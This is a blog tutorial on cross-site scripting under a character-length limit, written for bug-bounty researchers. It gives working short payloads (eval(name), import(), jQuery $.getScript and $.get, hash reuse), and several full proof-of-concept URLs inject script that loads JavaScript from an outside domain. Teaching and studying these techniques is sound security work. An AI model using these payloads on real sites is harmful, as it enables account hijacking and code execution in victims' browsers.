XSS with length restriction
December 2, 2018
There are situations where you can execute JavaScript but you’re limited to alert because it only allows limited number of characters. I recently saw a report on HackerOne with exact same situation- which is why I’m writing this post. The reporter managed to execute arbitrary JavaScript but made it somewhat complicated and required few user interactions. This drastically lessens the severity and no doubt, results in small reward.
The more promising Proof of Concept in case of XSS, in my opinion, is to load external JavaScript from a domain under your control. This post lists ways one can load external JavaScript with as few characters as possible.
Let’s assume our payload is being placed inside href
attribute of an anchor tag and we are limited to 32 characters
<a href="<INJECTION>">Click</a>
1. eval
This is probably the shortest payload one can execute arbitrary JavaScript with. The name
property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name
property itself.
POC
https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a+href="javascript:eval(name)">Click</a>','_self')</script>
Payload length
'javascript:eval(name)'.length == 21
2. import
This is another shortest payload to fetch external JavaScript but only works on Chromium based browsers.
POC
https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>
Payload length
'javascript:import(/\㎠.㎺/)'.length == 24
3. $.getScript
This is a very famous jQuery function to load external JavaScript. The script is fetched and executed in the global context, just as if loaded with a script
tag. This, however, requires jQuery already loaded in the vulnerable page.
POC
https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>
Payload length
'javascript:$.getScript(/\㎠.㎺/)'.length == 29
4. $.get
This is another jQuery function which can load and execute external JavaScript if the returned Content-type is set to text/javascript
. This is actually a vulnerability which only works before jQuery 3.0.0
POC
https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>
Payload length
'javascript:$.get(/\㎠.㎺/)'.length == 23
5. Use of existing elements and/or properties
It’s not uncommon to find HTML elements and JavaScript properties whose contents are partially or fully controlled by user. Though this requires a little inspection, it could be of tremendous help when exploiting length restricted XSS. For example, most ajax driven applications store hash identifier for easier navigation and what not.
If a page stores hash like
const hash = document.location.hash;
We could use it to load external script like
eval("'"+hash)
POC
https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)
Payload length
`javascript:eval("'"+hash)`.length == 25
There are various other ways one could load external JavaScript aside from above known techniques. These are other few which I don’t have examples of
- Other libraries
- Uses of various selectors
- Use of DOM properties, mutation (image id, for example)
Firefox, in some cases, navigates when clicked on JavaScript URI. To prevent navigation, we need to introduce an error. Thus, a workaround would be to add something like ;q
at the end of each payload like
javascript:eval(name);q
// halts navigation because q is not defined
Lastly, it’s worth noting that it’s also possible to use URL encoding in context of JavaScript URL like
<a href="javascript:x='%27,alert(1)//">Click</a>
// Thanks @garethheyes
POC
https://cm2.pw/?xss=<a href="javascript:x='%2527,alert(1)//">Click</a>
Update
There’s now a collection of impossible labs, created by PortSwigger which also involves XSS with length restrictions https://portswigger.net/research/documenting-the-impossible-unexploitable-xss-labs